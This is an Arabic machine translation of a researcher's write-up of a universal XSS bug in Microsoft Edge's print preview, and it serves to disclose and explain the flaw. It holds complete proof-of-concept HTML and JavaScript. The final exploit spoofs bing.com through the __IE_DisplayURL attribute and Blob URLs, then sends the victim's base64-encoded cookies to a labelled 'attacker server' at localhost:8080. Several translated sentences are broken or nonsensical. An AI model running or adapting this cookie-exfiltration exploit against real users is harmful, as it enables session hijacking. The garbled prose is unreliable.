Microsoft Edge - عام XSS

تم إعداد ترجمة المقال خاصة لطلاب دورة الهندسة العكسية .





Universal XSS (uXSS) عبارة عن خطأ في المتصفح يتيح لك تنفيذ تعليمات JavaScript البرمجية في أي موقع.

يبدو أن XSS موجود في جميع المواقع ويبدو مثيراً للاهتمام. ما هو أكثر إثارة للاهتمام هو كيف وجدت هذا الخطأ. عادة ، عندما يتعلق الأمر بـ uXSS ، فمن المحتمل أن يكون هذا بسبب عنصر IFRAME أو التشويش على عنوان URL ، لكنني لم أعتقد مطلقًا أنني أجد ثغرة أمنية في XSS باستخدام وظيفة print() .

نافذة المعاينة


دعونا نتحدث عما يحدث بالفعل عندما تعرض Edge نافذة معاينة قبل الطباعة.

اعتقدت دائمًا أن هناك لقطة شاشة تم رسمها بواسطة تقنية مثل Canvas ، ولكن في الحقيقة يتم نسخ الصفحة التي ستطبعها إلى ملف مؤقت وإعادة تقديمها!

عند تنفيذ print() على الصفحة ، نرى نشاط نظام الملفات التالي في Process Monitor :



لذلك ، يتم إنشاء الملف في دليل Edge المؤقت ، ومحتويات هذا الملف هي نسخة معدلة قليلاً من الصفحة الأصلية التي حاولنا طباعتها. دعنا نقارن.

قبل الطباعة:

 <!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html> 

بعد الطباعة:

 <!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML> 

هناك العديد من الأشياء التي يمكن أن نلاحظها من هذه المقارنة.

  1. يتم تشفير Javascript وتقديمه بشكل غير صحيح.
  2. يشير IFRAME الآن إلى ملف محلي آخر في نفس الدليل يحتوي على الكود bing.com لرابط bing.com الأصلي.
  3. يحتوي عنصر HTML الآن على سمة مميزة __IE_DisplayURL .

فيما يتعلق بالنقطتين الأولى والثانية ، أجريت عدة اختبارات. في البداية ، أردت أن أفهم ما إذا كان بإمكاني الحصول على كود Javascript صالح بعد تغيير الترميز ، على أمل أنه في النهاية يمكنني تشغيل Javascript. اتضح أن أي رمز داخل عنصر < script> ، عادي أم لا ، لن يتم تنفيذه.

ساعدني العنصر الثاني في الكشف عن اسم مستخدم نظام التشغيل باستخدام وظيفة @media print{} في CSS وسحر المحدد. تمكنت من الحصول عليها من قيمة href IFRAME. ومع ذلك ، هذا لم يكن كافيا.

في الفقرة الثالثة ، أصبحت مثيرة للاهتمام ، لأن هذه السمة غير عادية للغاية وحتى هذه اللحظة لم أقابله. لقد غوغلته على الفور ووجدت عدة مقالات ، بناءً على ذلك أدركت أن شخصًا مازو ماساتو كينوغاوا قد لعب معه بالفعل واكتشف أخطاءً رائعة.

بعد القراءة وبعض الممارسات ، وجدت أن سياق المعاينة يتعلم من أين يأتي هذا المستند. هذا منطقي لأن Edge يفتح الملفات باستخدام file: مخطط URI. باستخدام هذه السمة التي تشير إلى المصدر ، ستلاحظ أن جميع الطلبات الواردة من المستند (كجزء من المعاينة) ستحاكي تمامًا نفس السلوك كما لو كانت تأتي من موقع الويب الأصلي.

كيف يمكننا استخدام هذه السمة؟ يجب أن يكون هناك بعض الطريق!

جافا سكريبت تنفيذ التعليمات البرمجية مع المعاينة


كما قلت من قبل ، سيتم حظر أي كود JavaScript في علامة البرنامج النصي العادية أو تجاهله. لكن ماذا لو فكرت في اتجاه مختلف؟ جربت كل ما يمكنني التفكير فيه ، لذلك سأوفر عليك إهدار الوقت في العديد من المحاولات غير الناجحة والانتقال مباشرة إلى هذه النقطة.

نحن هنا نتعامل مع وظيفة الطباعة ، لذلك لعبت مع الأحداث المتعلقة بالطباعة. تم إحضار النتيجة لي بواسطة "onbeforeprint" ، "onbeforeprint" ، أتيحت لي الفرصة لتطبيق IFRAME الذي أشار إلى أي موقع ويب ولم تحتاج Edge إلى تحويله أولاً إلى ملف. على الفور تقريبًا ، حاولت تطبيق IFRAME الذي يشير إلى عنوان URL الخاص برمز Javascript و dame! تم تنفيذ هذا الرمز في سياق المعاينة.

اختبار حقن جافا سكريبت:

 <!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html> 

بعد تحويل معاينة المستند:

 <!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML> 

لقطة شاشة للنتيجة:



فقط لأننا نستطيع تنفيذ التعليمات البرمجية لا يعني أننا قد انتهينا. كما قلت سابقًا ، نظرًا لسمة __IE_DisplayURL سيتم اعتبار أي طلب أو مكالمة واجهة برمجة التطبيقات (API) صادرة من المستند.

تنفيذ UXSS


الآن وبعد أن أصبح بمقدورنا تنفيذ التعليمات البرمجية القابلة للتنفيذ ، نحتاج إلى إنشاء "معاينة المستندات" الخاصة بنا بطريقة ما من خلال __IE_DisplayURL ، ومن ثم يمكننا محاكاة أي موقع ويب نختاره لـ uXSS.

لقد وجدت أن استخدام Blob URL يمكنني تحقيق التأثير المطلوب! لذلك قمت bing.com المستند القابل للطباعة الخاص بي مع الإشارة إلى السمة الخاصة بي إلى الموقع المستهدف (في حالتي bing.com ). احتوى على Javascript IFRAME ، والتي كانت تعمل كما لو أنها جاءت من bing.com .

لقد قمت بتنفيذ الكود التالي:

 if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) } 

حيث top.document.getElementById('qd').value هي المستند المزيف التالي المراد طباعته.

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> 


كل ما أقوم به هو قراءة document.cookie وإرسالها مرة أخرى إلى الخادم.
الآن دعونا نلخص ما تفعله النسخة النهائية للاستغلال:

  1. باستخدام حدث onbeforeprint ، أقوم بإدخال IFRAME يشير إلى حمولتي قبل الطباعة مباشرة.
  2. للتهيئة ، أدعو window.print() .
  3. حافة ثم يعرض نافذة المعاينة أثناء تقديم رمز بلدي المضمنة.
  4. أنشأ كود Javascript المضمن عنوان URL لـ Blob يحتوي على bing.com القابل للطباعة على bing.com ويعيد توجيه الإطار العلوي إلى هذا العنوان.
  5. يعتقد سياق معاينة الطباعة أن محتويات عنوان URL الخاص بـ Blob قابلة للطباعة بشكل حقيقي وتعيين أصل المستند إلى bing.com باستخدام سمة __IE_DisplayURL .
  6. يحتوي المستند القابل للطباعة المزيف نفسه على IFRAME آخر يعرض ببساطة document.cookie من bing.com .
  7. يعمل uXSS!

الرمز النهائي والفيديو


 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html> 



روابط مفيدة:

Microsoft.com

Source: https://habr.com/ru/post/ar468097/


All Articles